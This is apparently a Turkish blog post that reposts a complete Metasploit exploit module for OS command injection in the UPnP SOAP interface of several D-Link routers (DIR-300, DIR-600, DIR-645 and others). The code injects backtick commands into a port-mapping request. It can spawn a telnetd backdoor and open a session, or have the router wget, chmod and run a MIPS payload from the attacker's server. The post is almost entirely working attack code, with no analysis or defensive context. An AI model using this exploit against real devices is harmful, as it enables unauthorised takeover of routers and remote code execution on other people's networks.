26 Temmuz 2013 Cuma

Remote Exploits

D-Link Devices UPnP SOAP Command Execution


##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

 

require 'msf/core'

 

class Metasploit3 < Msf::Exploit::Remote

  Rank = ExcellentRanking

 

  include Msf::Exploit::Remote::HttpClient

  include Msf::Exploit::Remote::HttpServer

  include Msf::Exploit::EXE

  include Msf::Exploit::FileDropper

  include Msf::Auxiliary::CommandShell

 

  def initialize(info = {})

    super(update_info(info,

      'Name'        => 'D-Link Devices UPnP SOAP Command Execution',

      'Description' => %q{

        Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP

        interface. Since it is a blind OS command injection vulnerability, there is no

        output for the executed command when using the CMD target. Additionally, two targets

        are included, to start a telnetd service and establish a session over it, or deploy a

        native mipsel payload. This module has been tested successfully on DIR-300, DIR-600,

        DIR-645, DIR-845 and DIR-865. According to the vulnerability discoverer,

        more D-Link devices may affected.

      },

      'Author'      =>

        [

          'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module

          'juan vazquez' # minor help with msf module

        ],

      'License'     => MSF_LICENSE,

      'References'  =>

        [

          [ 'OSVDB', '94924' ],

          [ 'BID', '61005' ],

          [ 'EDB', '26664' ],

          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]

        ],

      'DisclosureDate' => 'Jul 05 2013',

      'Privileged'     => true,

      'Platform'       => ['linux','unix'],

      'Payload'        =>

        {

          'DisableNops' => true,

        },

      'Targets'        =>

        [

          [ 'CMD',  #all devices

            {

            'Arch' => ARCH_CMD,

            'Platform' => 'unix'

            }

          ],

          [ 'Telnet',  #all devices - default target

            {

            'Arch' => ARCH_CMD,

            'Platform' => 'unix'

            }

          ],

          [ 'Linux mipsel Payload',  #DIR-865, DIR-645 and others with wget installed

            {

            'Arch' => ARCH_MIPSLE,

            'Platform' => 'linux'

            }

          ],

        ],

      'DefaultTarget'  => 1

      ))

 

    register_options(

      [

        Opt::RPORT(49152),  #port of UPnP SOAP webinterface

        OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),

        OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),

        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),

      ], self.class)

  end

 

  def exploit

    @new_portmapping_descr = rand_text_alpha(8)

    @new_external_port = rand(65535)

    @new_internal_port = rand(65535)

 

    if target.name =~ /CMD/

      exploit_cmd

    elsif target.name =~ /Telnet/

      exploit_telnet

    else

      exploit_mips

    end

  end

 

  def exploit_cmd

    if not (datastore['CMD'])

      fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")

    end

    cmd = payload.encoded

    type = "add"

    res = request(cmd, type)

    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)

      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")

    end

    print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")

    type = "delete"

    res = request(cmd, type)

    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)

      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")

    end

    return

  end

 

  def exploit_telnet

    telnetport = rand(65535)

 

    vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")

 

    cmd = "telnetd -p #{telnetport}"

    type = "add"

    res = request(cmd, type)

    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)

      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")

    end

    type = "delete"

    res = request(cmd, type)

    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)

      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")

    end

 

    begin

      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })

 

      if sock

        print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")

        add_socket(sock)

      else

        fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")

      end

 

      print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"

      auth_info = {

        :host   => rhost,

        :port   => telnetport,

        :sname => 'telnet',

        :user   => "",

        :pass  => "",

        :source_type => "exploit",

        :active => true

      }

      report_auth_info(auth_info)

      merge_me = {

        'USERPASS_FILE' => nil,

        'USER_FILE'     => nil,

        'PASS_FILE'     => nil,

        'USERNAME'      => nil,

        'PASSWORD'      => nil

      }

      start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)

    rescue

      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")

    end

    return

  end

 

  def exploit_mips

 

    downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))

 

    #thx to Juan for his awesome work on the mipsel elf support

    @pl = generate_payload_exe

    @elf_sent = false

 

    #

    # start our server

    #

    resource_uri = '/' + downfile

 

    if (datastore['DOWNHOST'])

      service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri

    else

      #do not use SSL

      if datastore['SSL']

        ssl_restore = true

        datastore['SSL'] = false

      end

 

      #we use SRVHOST as download IP for the coming wget command.

      #SRVHOST needs a real IP address of our download host

      if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")

        srv_host = Rex::Socket.source_address(rhost)

      else

        srv_host = datastore['SRVHOST']

      end

 

      service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri

 

      print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")

      start_service({'Uri' => {

        'Proc' => Proc.new { |cli, req|

          on_request_uri(cli, req)

        },

        'Path' => resource_uri

      }})

 

      datastore['SSL'] = true if ssl_restore

    end

 

    #

    # download payload

    #

    print_status("#{rhost}:#{rport} - Asking the DLink device to take and execute #{service_url}")

    #this filename is used to store the payload on the device

    filename = rand_text_alpha_lower(8)

 

    cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}"

    type = "add"

    res = request(cmd, type)

    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)

      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")

    end

 

    # wait for payload download

    if (datastore['DOWNHOST'])

      print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the DLink device to download the payload")

      select(nil, nil, nil, datastore['HTTP_DELAY'])

    else

      wait_linux_payload

    end

 

    register_file_for_cleanup("/tmp/#{filename}")

 

    type = "delete"

    res = request(cmd, type)

    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)

      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")

    end

  end

 

  def request(cmd, type)

 

    uri = '/soap.cgi'

 

    data_cmd = "<?xml version=\"1.0\"?>"

    data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"

    data_cmd << "<SOAP-ENV:Body>"

 

    if type == "add"

      vprint_status("#{rhost}:#{rport} - adding portmapping")

 

      soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"

 

      data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"

      data_cmd << "<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>"

      data_cmd << "<NewLeaseDuration></NewLeaseDuration>"

      data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"

      data_cmd << "<NewEnabled>1</NewEnabled>"

      data_cmd << "<NewExternalPort>#{@new_external_port}</NewExternalPort>"

      data_cmd << "<NewRemoteHost></NewRemoteHost>"

      data_cmd << "<NewProtocol>TCP</NewProtocol>"

      data_cmd << "<NewInternalPort>#{@new_internal_port}</NewInternalPort>"

      data_cmd << "</m:AddPortMapping>"

    else

      #we should clean it up ... otherwise we are not able to exploit it multiple times

      vprint_status("#{rhost}:#{rport} - deleting portmapping")

      soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"

 

      data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"

      data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"

      data_cmd << "</m:DeletePortMapping>"

    end

 

    data_cmd << "</SOAP-ENV:Body>"

    data_cmd << "</SOAP-ENV:Envelope>"

 

    begin

      res = send_request_cgi({

        'uri'    => uri,

        'vars_get' => {

          'service' => 'WANIPConn1'

        },

        'ctype' => "text/xml",

        'method' => 'POST',

        'headers' => {

          'SOAPAction' => soapaction,

          },

        'data' => data_cmd

      })

    return res

    rescue ::Rex::ConnectionError

      vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")

      return nil

    end

  end

 

  # Handle incoming requests from the server

  def on_request_uri(cli, request)

    #print_status("on_request_uri called: #{request.inspect}")

    if (not @pl)

      print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")

      return

    end

    print_status("#{rhost}:#{rport} - Sending the payload to the server...")

    @elf_sent = true

    send_response(cli, @pl)

  end

 

  # wait for the data to be sent

  def wait_linux_payload

    print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...")

 

    waited = 0

    while (not @elf_sent)

      select(nil, nil, nil, 1)

      waited += 1

      if (waited > datastore['HTTP_DELAY'])

        fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")

      end

    end

  end

end


------------------------------------------------------------------------------

Hiç yorum yok:

Yorum Gönder